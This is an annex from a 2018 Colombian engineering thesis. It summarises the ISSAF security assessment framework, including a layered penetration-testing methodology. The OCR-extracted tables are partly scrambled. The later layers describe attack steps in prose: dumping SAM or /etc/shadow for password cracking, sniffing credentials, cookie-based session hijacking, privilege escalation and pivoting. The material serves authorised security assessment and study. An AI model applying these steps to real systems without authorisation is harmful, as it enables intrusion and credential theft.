ANALISIS Y EVALUACION DE LA SEGURIDAD PROPORCIONADA
POR DNSSEC EN REDES DE INFORMACION IPV6 EN UN
ESCENARIO DE PRUEBAS CONTROLADO

LIBRO DE ANEXOS

Dalia Kelly Teran Arévalo
Diana Victoria Fernandez Garcia

Universidad del Cauca

Facultad de Ingenieria Electronicay Telecomunicaciones
Departamento de Telecomunicaciones
Popayan, 2018



ANALISIS Y EVALUACION DE LA SEGURIDAD PROPORCIONADA
POR DNSSEC EN REDES DE INFORMACION IPV6 EN UN
ESCENARIO DE PRUEBAS CONTROLADO

LIBRO DE ANEXOS

Trabajo de grado presentado como requisito para obtener el titulo de Ingeniero
en Electrénica y Telecomunicaciones

Dalia Kelly Teran Arévalo
Diana Victoria Fernandez Garcia

Director: Mg. Francisco Javier Teran C

Universidad del Cauca

Facultad de Ingenieria Electronicay Telecomunicaciones
Departamento de Telecomunicaciones
Popayan, 2018



ANEXO 1

METODOLOGIAS ESTANDAR DE EVALUACION DE SEGURIDAD

Las metodologias para la evaluacion de seguridad dentro de una auditoria de
seguridad informatica ayudan a los especialistas del sector a evaluar de una
forma metodica y repetible los test de intrusion. De esta forma las pruebas
pueden ser realizadas por diferentes auditores y un método comun, obteniendo

resultados al menos equiparables.

En este Anexo se explica con mayor profundidad las metodologias de evaluacion
de seguridad: ISSAF, OSSTMM 2.1, OSSTMM 3.0 y PTES, como base para el
disefio y la adaptacion de una nueva metodologia para el analisis de la seguridad
proporcionada por DNSSEC en redes IPv6 en un escenario de pruebas

controlado.



ISSAF
Marco de evaluacion de la seguridad de los sistemas de informacion (ISSAF,
Information System Security Assessment Framework), desarrollado por el Grupo
de Seguridad de Sistemas Abiertos de Informacion (OISSG, Open Informacion
System Security Grupo), con su Ultima version 2.1 lanzada en 2006, intenta definir
una metodologia de evaluacion de seguridad de los sistema de informacién, que

sea mas exhaustiva que otros marcos de evaluacion.

La informacion que provee esta metodologia es la siguiente:

Marco de evaluacién de seguridad de los sistemas de informacion ISSAF

Paquetes de

constitucion

Trabajo Descripcion
Reunion de | Reunir una imagen completa de la infraestructura de
informacion Tecnologia de la Informacién
Buscar la financiacion del proyecto, identificando quién
Proyecto de | puede estar interesado en patrocinar el proyecto y luego

identificar las areas de resultados clave que probablemente
motiven su propio interés en promover esta iniciativa.

Identificacion
de recursos

Investigar el tipo y los costos potenciales de los recursos
que se requeriran para ejecutar la evaluacion de seguridad.

Construir un presupuesto que identifique las inversiones y

preparacion pro
forma

Presupuesto los costos operativos posteriores para establecer si es
probable que el financiamiento requerido sea factible desde
una perspectiva comercial general.

Flujo de | Identificar el aumento en los costos operativos causados por

efectivo - | los nuevos empleados, capacitaciones, etc. Para poder

realizar un andlisis financiero basico, como la preparacion
de los programas de depreciacion / amortizacion

Estructura de
desglose del
trabajo

Crea esencialmente un marco que agrupa e integra los
paquetes de trabajo individuales que trabajaran en conjunto
para entregar los resultados del proyecto. Esta estructura se
compone de un esquema jerarquico que divide
progresivamente las actividades en grupos cada vez mas




pequefios hasta que el fragmento final da como resultado un
paquete de trabajo asignable.

Lanzamiento
del proyecto

Paquetes de
Trabajo

Se debe de designar formalmente al gerente del proyecto. El
resultado clave del inicio del proyecto es la matriz o
diagrama de Responsabilidad, Acreditacion,
Informacion (RACI), que designa quién es el responsable,
quién acreditara los entregables, quién debe ser consultado
uién debe mantenerse informado a lo largo del

Consulta,

royecto.

Descripcion

Preparacién
de La

Identificar entidades de evaluacion: procesos,
activos, instalaciones, etc.
Identificar, numerar y documentar amenazas y

de controles

de la politica
de seguridad

Evaluacion o
Identificacion vulnerabilidades.
del riesgo . . . .
inheren?e . Se mide o estima el impacto en el negocio de
- |Bvaluacion | yna organizacién de una amenaza contra un
de Amenazas | activo. Ademas de estimar la probabilidad de
gue ocurra la amenaza para la entidad elegida.
Evaluacion Revision de los requisitos legales vy
del reglamentarios que afectan a la empresa, es
cumplimiento esencial para garantizar que la empresa
legal y cumpla con las leyes y normativas aplicables a
regulatorio la infraestructura de Tecnologia de la
informacion.
. Evaluacion
Evaluacién

Comprender y evaluar la politica de seguridad
de la informacion de la empresa, es una de las

de la | primeras tareas en la evaluacion de seguridad.
informacion
empresarial
Evaluacion
de la gestion | Revision en la organizacion de las funciones
de la de seguridad, roles vy responsabilidades

seguridad de
la
Informacion
empresarial

relevantes y responsabilidades de gestién de la
seguridad de la informacion entre areas

Evaluacion

Revision de la seguridad en diferentes
aspectos de la organizacion, Seguridad fisica y




de la
Seguridad de
Sistemas de

ambiental, Controles técnicos (Seguridad de la
red, Seguridad del host, Seguridad de la
aplicacién, Seguridad de base de datos),

de la Gestion
de
Operaciones
de Seguridad
Empresarial

Informacién Evaluacion de la Conciencia de Seguridad
Empresarial y | (Entrevistas, Observacion, Ingenieria social).
Controles

Evaluacion Esta revision se realiza junto con la Evaluacién

de Seguridad y Control de la Empresa, para
comprender los riesgos y controles de los
procesos de operaciones de seguridad

Evaluacion
empresarial
de la gestion
continua del
negocio

Evaluar la preparacion de la empresa para
garantizar la disponibilidad de la infraestructura
de Tecnologia de la Informacién

Marco de evaluacién de seguridad de los sistemas de informacion ISSAF

Descripcién

El tratamiento de riesgos proporciona una plataforma para tomar una decision
sobre los riesgos residuales, mediante la seleccibn de salvaguardas, el
desarrollo de planes de implementacion y la provision de documentacién
precisa para la implementacién y el proceso de toma de decisiones.

[P)iq'll{?;(tefajo Descripcién
Contacto Contactar una agencia de acreditacion certificada
.. | con las por OISSG, y se establecen datos de la
Establecimi entidades | Organizacion que desea hacer la acreditacion,
ento  del de certifica | Nombre de la organizacion, nimero de empleados,
contexto cion numero de ubicaciones , etc.
Asignacion de auditores de acuerdo a la funcién
_ . de los niveles de habilidad necesarios para la
Asignacion




del auditor | complejidad de su entorno, el conocimiento del
negocio, el conocimiento funcional y la experiencia
en gestion de proyectos.

Después de determinar el alcance, los auditores de OISSG
comenzarian la evaluaciébn de la organizacibn con base en
ISSAF, evaluando los procesos de seguridad de la informacion
de las organizaciones con base a los controles detallados /
metodologia definidos en ISSAF.

Evaluacion

Los auditores preparan un borrador de informe con  sus
hallazgos y lo presentarian a la alta gerencia de la organizacion.
Informes | ggte “informe destaca el nivel de cumplimiento que la
organizacibn ha alcanzado con respecto a ISSAF. También
consiste en un desglose detallado de las areas en las que se
encontraron incumplimientos junto con la gravedad de dicho
incumplimiento.

Certifica | En funcion del grado de cumplimiento, se emite una certificacion
cion de cumplimiento de ISSAF

El Marco de evaluacion de la seguridad de los sistemas de informacion, ofrece de
pautas que complementan la fase de planeacién, mediante la seccién de gestion
del compromiso de ISSAF.



Explicacion de alto nivel de los objetivos, el alcance, las
suposiciones, los riesgos, los costos, el cronograma, el
enfoque y la organizacion del trabajo. Describe los
antecedentes y el contexto del compromiso y por qué se
esta llevando a cabo. Se habla sobre el valor comercial del
trabajo que se esta realizando.

Los objetivos son declaraciones para describir lo que un
compromiso lograra y cumplird. Los objetivos deben ser:
especificos, mensurables, alcanzables, realistas y basados
en el tiempo. Los objetivos deben basarse en resultados. La
finalizacion de un objetivo debe ser evidente a través de la
creacion de uno o mas entregables. Si la declaracion es de
alto nivel y no implica la creacion de un entregable, puede
ser un objetivo en su lugar. Si la declaracion es de muy bajo
nivel y describe caracteristicas y funciones, entonces puede
ser una declaracion de requisitos en su lugar.

llustrar una vision general de la metodologia utilizada para
el compromiso de evaluacion de seguridad. En general, las
fases involucradas en el compromiso tipico de evaluacion
de seguridad son: Planificacion y preparacion (determinar el
alcance y losrecursos requeridos para la evaluacion),
Evaluacion (trabajo de campo), Informes (Conclusion /
Resultados)

Se define claramente los limites l6gicos de su compromiso.
Las declaraciones de alcance se utilizan para definir lo que
esta dentro de los limites del compromiso y lo que esta
fuera de esos limites. Ejemplos de areas que podrian
examinarse son datos, procesos, aplicaciones o areas
comerciales.

Se debe realizar una reunién de inicio de compromiso
iniciada por gerente del proyecto, donde se abarquen
algunos de los siguientes puntos: leccién aprendida en el
compromiso anterior o Resalte los desafios / problemas y la
estrategia de disefio para resolverlos, punto de contacto
Unico para el compromiso, equipos de compromiso, divisién
de tareas, establecimiento de plazos en tareas divididas
para los miembros responsables de la ejecucion del
compromiso

Se plantea un plantila de como se debe almacenar
informacion para tener una comunicacion nombre, rol,
namero y correo electrénico.




Se debe de establecer los compromiso con el cliente,
activos evaluados, entregables (resumen ejecutivo,
resumen de vulnerabilidades, etc.,) punto Unico de

Comunicacion, fechas de inicio y finalizacion, dias laborales
entre otros.

ISSAF provee de una plantilla para presentar informe

Establecer un grafico de escalacion en caso de que un
problema que se pueda presentar, esté tanto en el cliente
como en la organizacion de evaluacion.

Se debe de establecer un plan de compromiso que debe de
incluir casos de prueba que va a ejecutar, tiempo para cada
caso de prueba, Mencione la fecha de inicio y finalizacion
del compromiso, Tiempo de evaluacion, Contactos de cada
equipo

Defina los hitos de los compromisos segun las tareas
mediante un cronograma (Intente completar las pruebas en
horario de oficina para minimizar cualquier tiempo de
inactividad si ocurre en cualquier circunstancia.)

Cronograma que detalle todas las fases principales y sus
sub tareas asociadas.

Se describe los entregables del compromiso de manera que
expliqguen de manera suficiente y detallada para que el
lector pueda comprender lo que se esta produciendo.

Las horas de esfuerzo estimadas y los costos de
participacion se pueden describir de muchas maneras,
incluido el costo por miembro del equipo, costo por
entregable, costo por hito o costo por categoria (trabajo
interno, trabajo externo, viajes, capacitacion, suministros,
etc.).

Se deben de enumerar las suposiciones de alta
probabilidad de ocurrencias, estas son circunstancias y
eventos que deben ocurrir para que el compromiso sea
exitoso pero estan fuera del control total del equipo del
compromiso.

Los riesgos que tienen una alta probabilidad de ocurrir y
tienen un alto impacto negativo se deben enumerar, los
riesgos de compromiso son circunstancias o eventos que
existen fuera del control del equipo del compromiso que




tendran un impacto adverso en el compromiso si se
producen.

Considerar las dependencias del compromiso e incorporar
la gestion del compromiso necesaria para planificar y
administrar el trabajo.

El equipo de evaluacion y el cleinte enumera los principales
roles de participacion y las personas involucradas.

La matriz de responsabilidad relaciona a : prueba del
entregable, responsable del entregable, responsable de
aceptacion y firma entre otros.

Llevar un control con el registro de entregable, la fecha de
entrega, el nombre del equipo de evaluacion, etc

Registro de ruta de evaluacion

Los aspectos abordados en la seccion de Buenas Préacticas - Pre-Evaluacion,
Evaluacion y Post-Evaluacion, se consideran como los lineamientos de accion
que se deben considerar a lo largo del proceso de evaluacion de la seguridad,
desde la gestion del proyecto de evaluacion de la seguridad en la organizacion
hasta las pautas a considerar en la planeacion y ejecucién de la prueba técnica
de penetracion; como de la entrega de resultados mediante la entrega de reportes.

Buenas Practicas - Pre-Evaluacién, Evaluacion y Post-Evaluacion

Buenas Practicas

e Asegurese de haber firmado un Acuerdo de Confidencialidad
con la compafiia que esta realizando la evaluacion

Aspectos e Asegurese de haber firmado el acuerdo de evaluacion de

legales seguridad

e Asegurese de no escanear fuera de la direccion IP y limitar las
direcciones IP y el dominio especificamente asignados a usted

El equipo de evaluaciéon que participe en la evaluacion, debe

documentar y evaluar la siguiente informacion:

e Experiencia con las plataformas, aplicaciones, protocolos de
red y dispositivos de hardware que se prueban. Experiencia
que debe de coincidir con la de la infraestructura a probar.

e Certificaciones y cursos relacionados con pruebas de
penetracion, informacion

Personas




Procesos

Procesos

Mencionar claramente si se quiere evaluar el ataque de
denegacion de servicio en vivo 0 un test al sistema, 0 si se
prefiere una auditoria simple del sistema que describa los
defectos especificos en la red que dejen susceptible a un
ataque de denegacion de servicio en particular.

Generalmente una evaluacion de seguridad o un test de
penetracion es solo recomendable cuando se tiene una linea
de seguridad base

Si la evaluacion de seguridad es sobre un sistema secundario
en vez de un sistema primario

Pre-Evaluacioén

Solicitud de
propuesta
(RFP)

La organizacion debe definir, nombre y detalles de la persona a
quien se debe presentar la propuesta, tiempo maximo para
enviar la propuesta, tiempo maximo para completar la
evaluacion, disefio de alto nivel de arquitectura de red para
empresas seleccionadas después de la firma del Acuerdo de No
Divulgacion (NDA).

La organizacibn debe pedir claramente a la compafia
evaluadora que indigue el tiempo maximo para completar la
evaluacion, tiempo esperado para completar cada tarea, tareas
seriales y paralelas en la propuesta, dependencias entre tareas,
periodo de tiempo en el cual la evaluacién debe ser completada,
entre otras.

Evaluacioén
de contratos
de terceros

e Se debe de evaluar el propésito de los contratos con
terceros, con quienes se puede compartir informacion de
manera simple o invasiva.

e El objetivo de evaluar los contratos con terceros para
evaluar que la organizacién esta protegida legalmente de
manera correcta.

e Se debe evaluar los contratos con terceros para evaluar los
roles que desempefian dentro de la organizacion

Ventas y
marketing

Durante el ciclo de vida de ventas se debe considerar pautas
como las siguientes

e Considere el tamafio, la politica, el tipo de industria

eTener en cuenta las habilidades y el conocimiento del
personal de la organizacion

eConsidere la mision, las metas y los objetivos de la
organizacion para este proyecto.

Obtener la
autorizacion

La evaluacidbn de seguridad implica realizar acciones muy




de
personas
adecuadas

las

similares, si no idénticas, a las llevadas a cabo por un atacante,
de modo que se debe garantizar los permisos necesarios

Definir las
areas "fuera
de alcance"

Se debe de establecer claramente las limitaciones y condiciones
para los evaluadores, que no debe violar.

Firmar
acuerdo

Después las consideraciones anteriores se deben considerar
firmar un acuerdo en el que se tenga en cuenta los siguientes
aspectos.

Acuerdo De Evaluacion

Un acuerdo de evaluacion debe incluir: alcance del trabajo,
trabajo fuera del alcance, direcciones ip 0 rangos que deben
evaluarse, cualquier direccion / subred IP especifica, host,
dominio que debe restringirse, responsabilidad por cualquier
tiempo de inactividad, hora de finalizacion del proyecto e
indicacién de cualquier retraso, el precio del contrato, cualquier
cargo adicional, sanciones aplicables, pago (avance y después
del proyecto), programa de evaluacion de fecha y hora basado
en tiempo y material o contrato de oferta fija.

Acuerdo De No Divulgacion

Un acuerdo de no divulgacion debe incluir lo siguiente:
propasito, definicién, no divulgacion de informacion confidencial,
divulgacion obligatoria.

Composicio
n del equipo

Considere la eficiencia y la responsabilidad y componga un
equipo de expertos de dominio, segun el alcance del trabajo. La
evaluacion de seguridad se puede lograr mucho mejor con
miembros del equipo especializados que reunan diferentes
habilidades.

Publicidad

Segun el tipo de compromiso, el alcance, los requisitos del
conjunto de habilidades y la complejidad del sistema, se pueden
elaborar los comerciales.

Mantener la

Para el trabajo de evaluacion de seguridad, el evaluador puede

confidenciali | requerir informacion del cliente para llevar a cabo las pruebas,

dad de los | como diagramas de infraestructura de red, direcciones IP,

datos del | ubicacion de las instalaciones del cliente, entre otros tipos de

cliente infformacion a las cuales se les debe garantizar la
confidencialidad.

.. .. | Esde sumaimportancia que los puntos de acceso elegidos para
Identificacio | realizar una evaluacion de seguridad representen todas las
ndel punto | hosihles amenazas, agentes de amenaza y posible riesgo
de acceso

comercial. Considerando que una red se puede dividir en
diferentes capas: capa de acceso, capa de distribucion entre
otros
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Evaluacién

Reglas de
participaci
on

Establezca una regla clara de compromiso basada en el alcance
de la evaluacion. Cubriendo el mismo alcance del acuerdo de
trabajo acordado y firmado mutuamente por el cliente y el equipo
de evaluacion.

Tiempo de
evaluacion
y
disponibili
dad del
personal

Para el tiempo de evaluacion y disponibilidad del personal ISSAF
plantea algunas consideraciones entre las cuales tenemos: para
reducir el tiempo de inactividad realice una evaluacion activa
durante las horas no laborables, asegurese de que el personal de
la organizacion objetivo esté presente durante la evaluacion
activa., entre otros

Mecanismo
para tratar
los falsos
positivos

Con el fin de no llamar de manera innecesaiamente a la ley se
debe considerar mecanismo para tratar los falsos positivos tales
como: Configuracion adecuada de las alarmas para dar solo
aviso a las personas apropiadas, peticion de permisos a
administrativos superiores antes de realizar llamadas,

» Antes de llamar a la policia, se debe tomar el permiso de la
administracion superior

» El permiso de la gerencia superior incluso ayudara a llamar
innecesariamente a la policia.

Obtener
direcciones
IP o rangos
gue deben
evaluarse

Se debe, obtener direcciones IP o rangos (red / subred) que
deben evaluarse, verificar todas las direcciones IP (reunidas a
través de whois / dns y las recibidas) con la empresa probada
(evite escanear a otra persona ...) y obtener informacion sobre
cualquier direccioén IP especifica / subred, host, dominio que debe
restringirse

Direccione
s [P del
centro de
evaluacion

Se debe de comunicar al cliente sobre:

e Direcciones IP de origen del centro de evaluacién, desde
donde se realizan las pruebas de penetracion. Ayudando al
cliente a diferenciar un ataque legitimo de evaluacion de
seguridad de un intento ilegal de pirateria.

e Asegurese de que el acceso a los servicios desde estos
puntos de acceso estén abierto en el firewall del cliente,
agregando las direcciones IP de donde proceden las pruebas
a "listas blancas" para evitar una falsa sensacion de seguridad
cuando se presentan los resultados.

Post-Evaluacion

e Analisis y preparacion, antes de comenzar el proceso de
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Informes

redaccion del informe, se debe planificar las actividades
para preparar y enviar el informe. Se requiere un gran
esfuerzo para hacer un buen informe. ISSAF presenta las
siguientes pautas a considerar: organizar la documentacion
segun el producto establecido, asegurese de que la
documentacion de informes conlleva la clasificacion de los
datos, asegurar que se sigan los procedimientos de control
de documentos, mostrar una vista previa de la estructura de
informes al cliente antes del envio del documento final,
entre otros.

Andlisis, el analisis de los resultados de las pruebas se
realizara en forma individual y con todo el equipo (revision
por pares). Todos los resultados deben ser compartidos con
los miembros del equipo. Los debates deben centrarse en
las vulnerabilidades identificadas y en la verificacion de la
evaluacion basada en vulnerabilidades realizada.

Creacion De Informes, Fusion Y Formato, ISSAF
recomienda un estructura para, el resumen ejecutivo
(alcance del trabajo, naturaleza de Ila evaluacion
(interna/externa), objetivos (periodo del tiempo de trabajo
realizado), revision del resumen de vulnerabilidades
(nombre de la vulnerabilidad, descripcion, severidad, efecto
del sistema entre otros.), plan de accion (recomendaciones
y prioridades) y resultados detallados del test
(herramientas, fechas de test, descripcion).

Revision Final, Antes de enviar el informe al cliente, se
realizara una revision final mediante el liderazgo del
proyecto y la garantia de calidad del proyecto.

Presentacién

Presentacion Con (Equipo Técnico Y Administrador De
Funciones), Produzca un resumen inicial de
vulnerabilidades al equipo de analisis antes presentacion.

La presentacion de la gestibn debe incluir el resumen
principal de la evaluacion con las razones de por qué, que,
cuando, qué, donde y cémo. También debe incluir los
puntos de acciones clave. La presentacion debe incluir
graficos cuantitativos y tablas de informacidn resumida.
Informacién coincidente con la seccion de resumen
ejecutivo del informe.

Asegurese de que se cumplan los criterios de aceptacion.
ISSAF provee de una plantilla de muestra que contiene

12




todos los casos de prueba requeridos para realizarse
segun ISSAF.

e Asegurarse de que las recomendaciones hayan sido
abordadas. Seguimiento de la seguridad razonable de que
las recomendaciones para tapar las vulnerabilidades se han

Después de la abordado.

presentacion | ¢ Asegurese de que el cliente no tenga ningtn problema para
protegerse contra vulnerabilidades. Asegurese de haber
respondido todas las preguntas sobre la contramedida para
salvaguardar la organizacion del cliente.

e Mantener la confidencialidad de los datos del cliente, toda
la informacion utilizada antes y durante el proyecto se usara
normalmente en los informes generados para presentar los
resultados de la evaluacion de seguridad. Para mantener el
confidencialidad de esta informacién, todos los informes y
archivos adicionales (tales como archivos de registro de
acceso, rastreos de red y similares) deben conservarse y
transmitirse de forma tal que garanticen la confidencialidad
de la informacion, incluso en el caso de extravio o robo de
medios de almacenamiento, ademéas ISSAF presenta una
series de recomendaciones.

De igual forma ISSAF provee de informacion para la evaluacion de riego que se
utiliza en esta metodologia como métrica de los resultados obtenidos de la
evaluacion de seguridad; las pautas para la evaluacion de las politicas de
seguridad de la informacién empresarial de una organizacion; y la evaluacion de
la gestidn y organizacién de la informacion de seguridad empresarial de la misma.

Métrica: Evaluacién De Riesgos

Proceso

Descripcion

La evaluacion de riesgos tiene que ver con identificar activos
valiosos para la empresa, las amenazas que enfrentan estos
activos, las vulnerabilidades que estas amenazas pueden usar
para impactar en el negocio y las acciones (controles y factores
atenuantes) para reducir estas vulnerabilidades, reduciendo asi
la riesgos a un nivel aceptable

La evaluacion de riesgos si siguen algunas reglas basicas y la
metodologia adecuada, el ejercicio de evaluaciébn de riesgos
tiende a ser muy fructifero e interesante para el negocio. ISSAF
propone para la evaluacion de riesgos:

e El establecimiento del contexto, durante el cual se identifican
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los riesgos y las acciones que se implementaran para mitigar
esos riesgos y reducirlos a un nivel aceptable, se de
determinar los interesados en participar en el ejercicio de
gestion de riesgos y se determina el valor de los activos.

Se identifica amenazas, las cuales pueden provocar dafios
potenciales y causar efectos no deseados, al explotar las
vulnerabilidades que pueden estar presentes en la
organizacion dentro de las operaciones o podrian estar
asociadas a las tecnologias del sistema.

El andlisis y la evaluacion para la evaluaciéon de los riesgos,
consiste principalmente en comunicar, debatir y acordar las
calificaciones con las partes interesadas relacionadas con el
valor que debe asignarse ha: valor del activo, amenazas y
vulnerabilidades.

Accion, para una la evaluacion completa de riesgos se ha:
identificado pasos claros e integrales para mitigar las
amenazas Yy reducirlas a un nivel aceptable de riesgos, se
han asignado responsabilidades claramente definidas, se
acordd un cronograma para la implementacion de los
controles o los factores atenuantes entre otros

ISSAF, ha desarrollado una herramienta basica basada en hojas
de calculo para ayudar a los evaluadores de riesgos a identificar
y calificar sus valores de activos, amenazas y vulnerabilidades.
En la cual se ingresa valores como:

Categoria de dominio ISSAF: permite al asesor identificar qué
area del dominio ISSAF se esta considerando al identificar y
mitigar los riesgos

Categoria de amenaza: la herramienta se ha llenado con
categorias de amenazas. Los evaluadores deben personalizar
las categorias para que se ajusten al entorno de su
organizacion.

Valor de los activos afectados por las amenazas. Identifique el
valor de los activos afectados por las amenazas, entre otras

Considerar parametros presentador por ISSAF para evaluar la
metodologia de evaluacién de riesgos, como seguimiento del
plan de accién ejecutado después de la evaluacién de riesgos,
considerando ¢Como se realizé la evaluacion de riesgos? ¢ Se
Incluy6 partes interesadas? , ¢Se ldentific6 todos los activos de
informacion criticos para la empresa. Entre otros.
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Politica de Seguridad de la Informacién Empresarial

Proceso

Descripcion

Introduccién

La politica de seguridad de la informacion empresarial demuestra
el compromiso y la direccién de la directiva ejecutiva para la
implementacion y la gestion de la seguridad de la informacion
dentro de la empresa. La politica de seguridad también
demuestra la adhesién al concepto de debida diligencia y
cuidado debido.

Pre-
Requisito

e Se debe de documentar la Politica de seguridad empresarial y
formalizar una politica sobre las actualizaciones a través de
revisiones programadas y un proceso para cumplir cualquier
cambio no programado.

e Cualquier informe de auditoria (revision) de la politica de
seguridad de la empresa interna o externamente. Si no se
puede obtener una copia de la politica, solicite las areas
cubiertas en la politica / tabla de contenido de la politica.

Objetivo

Establecer si la empresa ha formalizado, implementado y
comunicado las politicas de seguridad con la aplicabilidad de
toda la empresa y con el respaldo de normas, procedimientos y
directrices apropiados dentro de la empresa.

Cuestionario
de
Evaluacion

ISSAF presenta una lista de verificacion de evaluacién, que se
espera gue se ajuste ampliamente al proceso de evaluacion, con
parametros como, la politca de seguridad provee
apropiadamente el nivel de organizacion, la organizacién tiene
documentacion acerca de guia, bases de los procedimientos de
seguridad, etc.

Gestidon y Organizacién de la Informacion de Seguridad Empresarial

Proceso

Descripcion

Introduccién

La organizacion de seguridad de la informacion es una parte
importante de la estructura de control de gestibn en una
organizacion, la evaluacibn de esta es importante  para
determinar si la organizacion puede alinearse con la postura de
seguridad de la direccion ejecutiva y sirve para determinar si la
direccion ejecutiva ha asumido la necesidad de una postura de
seguridad integral es evaluar la organizacion segura.

Pre-

Se necesita de la estructura organizativa de toda la organizacion,
del departamento de TI, de la organizacion de seguridad
empresarial, de la auditoria interna. Documentos que contiene
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requisitos funciones y responsabilidades formalmente aprobadas,
descripcion del puesto para las funciones de seguridad de la
empresa, evaluacion / revision de un tercero, etc.

El objetivo principal de esta evaluacion es evaluar los controles
organizacionales que estan relacionados con la estructura
organizacional. Ademds, sirve para evaluar el apoyo de la
administracion a las funciones de seguridad, identificar la
segregacion de tareas, la seguridad de terceros y abordar las
cuestiones de seguridad de la externalizacion.

Objetivo

ISSAF presenta una lista de verificacibn evaluacion
reconociendo que cada organizacidn tiene sus propios procesos,
tecnologias y arquitectura de procesamiento de la informacion,
por lo cual ISSAF presenta los siguientes pardmetros en la lista
de evaluacion como, soporte de gestion, los roles de
responsabilidad del departamento seguridad de la informacion
estan claramente definidos, ¢Existe alguna politica aprobada
formalmente con respecto al acceso de terceros a los sistemas
de informacién empresarial (fisicos y l6gicos)?, entre otros.

Cuestionario
de
Evaluacion

ISSAF como metodologia de penetracién se enfoca en una metodologia de tres
fases:

e Planeacion, planeacion de la prueba técnica de penetracion
e Evaluacién, ejecucion de la guia técnica de penetracion dividida en 9 capas
e Reportes, fase donde se presentan los resultados.

Metodologia de prueba de penetracion

Fase en donde se intercambia informacion inicial, se planifica y se prepara
para la prueba. Es donde se firma el acuerdo formal de evaluacién por ambas
partes, como base para esta asignacion y proteccion legal mutua. Ademas de
ser donde se especifica equipo de trabajo, pruebas, fechas exactas y horas
para las pruebas.

Capa I: Recoleccion de informacién

Activa: Pasiva:
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Ubicar la presencia web objetivo
Examine el objetivo usando los motores
de busqueda

Buscar grupos web

Buscar sitios web personales de los
empleados

Buscar Comisibn de seguridad e
intercambio y sitios de finanzas

Buscar sitios de estadisticas de tiempo
de actividad

Buscar sitios de encuestas de sistemas /
redes

Buscar en redes P2P

Buscar en Internet Relay Chat (IRC)
Buscar bases de datos de trabajos
Buscar grupos de noticias (NNTP)
Obtener informacion del registrador de
dominio

= Verifique la presencia de busqueda

DNS inversa

* Ver mas informacion de DNS
= Comprobar la busqueda de la base de

datos de correo no deseado

= Marque para cambiar la informacién

de WHOIS

Sistemas de correo
electronico - Enumeracion
de cuenta de usuario
Analisis de encabezados
SMTP - Correo recibido
desde el objetivo

Andlisis de encabezados
SMTP - Correo electrénico
rebotado

Andlisis de encabezados
SMTP - Recibo de lectura
Realizar una consulta BGP
(Border Gateway Protocol
DNS Interrogation - Realizar
transferencia de zona en
primaria, Servidor de
nombres secundario e ISP
DNS INTEROGATION -
Basqueda de IPv6 IP
bloques en uso a través de
consultas DNS

Sitio Web objetivo de espejo,
mapeo de sitio web
Contramedidas globales

Capa ll: Mapeo de red

* Encuentra hosts en vivo
* Escaneo de puertos y servicios
= Escaneo de puertos TCP
= Escaneo de puertos UDP
= Obtencién de banner
»= Descubrimiento ARP
* Mapeo de red perimetral (enrutador, firewalls)
» |dentificar la Red Perimetral — Tracerouting
= Escaneo por defecto de firewall y puerto de router
» Realizar escaneo FIN/ACK
= Mapeo de las reglas bases de los router/firewall
* Identificacidon de servicios criticos
* Huella digital del sistema operativo
» Huésped Sistema Operativo Pasivo
» Huésped Sistema Operativo Activo
» Utilizar huella de la pila TCP/IP
» Analisis el uso de paquetes http
» Analisis el uso de paqguetes ICMP

17




» Analisis del uso del Handshake telnet
* Identificar rutas usando la Base de informacion de gestién (MIB)

* Huellas dactilares de servicio
e Realizar marcacion de Guerra
e Enumeracion de HOST
=  Enumeracion sistemas
= Sistemas Windows
= Sistemas Novell
¢ Andlisis toda la informacion obtenida
e Contramedida global

Capa lll: Identificacién de Vulnerabilidad

Actividades:

|dentificar servicios vulnerables
utilizando banners de servicio
*Realizar exploracion de
vulnerabilidades para buscar
vulnerabilidades conocidas. La

informacion sobre las vulnerabilidades
conocidas se puede obtener de los
anuncios de seguridad de los
proveedores o de bases de datos
publicas como SecurityFocus, CVE o
CERT.

*Realizar falsos positivos y falsos
negativos de verificacion (por ejemplo,
mediante la correlacion de las
vulnerabilidades entre si y con la
informacién adquirida anteriormente)

*Enumerar vulnerabilidades

descubiertas

*Estimar el impacto probable (clasificar
las vulnerabilidades encontradas)

ldentificar caminos de ataque vy
escenarios de explotacion.

Procesos:

¢ |dentificacion de servicios
vulnerables para vulnerabilidades
conocidas, utilizando banners de
servicio, huellas dactilares de
0O.S./service, puertos abiertos y toda
la informacion relevante de etapas
anteriores.

e Realizar exploracion de
vulnerabilidades mediante escaneres
automatizados para detectar
vulnerabilidades conocidas

e Identificar vulnerabilidades no
reveladas

e Haga una lista de todas Ilas
vulnerabilidades encontradas por

ambos escaneres

e Realice la verificacion de falsos
positivos y falsos negativos

final de
recomiende

eHaga una lista
vulnerabilidades vy
medidas inmediatas

Capa IV: Penetracion

* Encontrar la prueba de concepto de codigo / herramienta

* Desarrollar herramientas / scripts

* Prueba de prueba de cddigo / herramienta
» Usar codigo de prueba de concepto contra objetivo
* Verificar o refutar la existencia de vulnerabilidades

* Documentar los hallazgos
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Capa VI: Obtencion de acceso y escalamiento de privilegios

Obtencion De
Acceso

Obtener el
minimo
privilegio

Obtener el acceso de privilegio minimo es
posible mediante la obtencién de acceso a
cuentas no privilegiadas a través de varios
medios

Obtener
Privilegio
Intermedio

Se obtienen mas privilegios que el paso
anterior y estos privilegios se pueden utilizar
para obtener mas acceso al sistema. Puede
ser una cuenta de usuario privilegiado en
cualquier lugar de la red.

Compromiso

Alcanzar el objetivo de la evaluacion (ya sea
un sistema especifico o una red) puede
requerir que los sistemas intermedios también
se vean comprometidos.

Compromiso
final

Este paso es el compromiso final. El objetivo
final ha sido violado y est& bajo el control total
del evaluador.

Escalamiento
de privilegios

En esta etapa el objetivo es de nuevo obtener privilegios
administrativos. Las principales barreras a enfrentar son el
nivel de remiendo y endurecimiento del sistema; Y las
herramientas de integridad del sistema (incluyendo antivirus)
gue pueden detectar y en algunos casos bloguear la accion
de la prueba de concepto de exploits necesarios.

Capa VII: Enumeracioén adicional

e Obtenga contrasefias encriptadas para el craqueo en linea (por ejemplo,
descargando el SAM en sistemas Windows o copiando / etc / passwd y / etc
| shadow desde un sistema Linux) Obtener contrasefia (en texto claro o
encriptado) usando sniffing u otras técnicas

e Examinar el tréfico y analizarlo

con contrasefa

Reuna las cookies y utilicelas para explotar las sesiones y para los ataques

Reunion de direcciones de correo electrénico
Identificar rutas y redes

Mapeo de redes internas
Realice de nuevo los pasos 1 a 6 con este sistema como punto de partida

Capa VIII: Mantenimiento del acceso

El uso de los canales de cubierta, la instalacion de la puerta trasera y el
despliegue de rootkits a menudo no se realizan como parte de una prueba de
penetracion, debido al riesgo involucrado si alguno de ellos permanece abierto
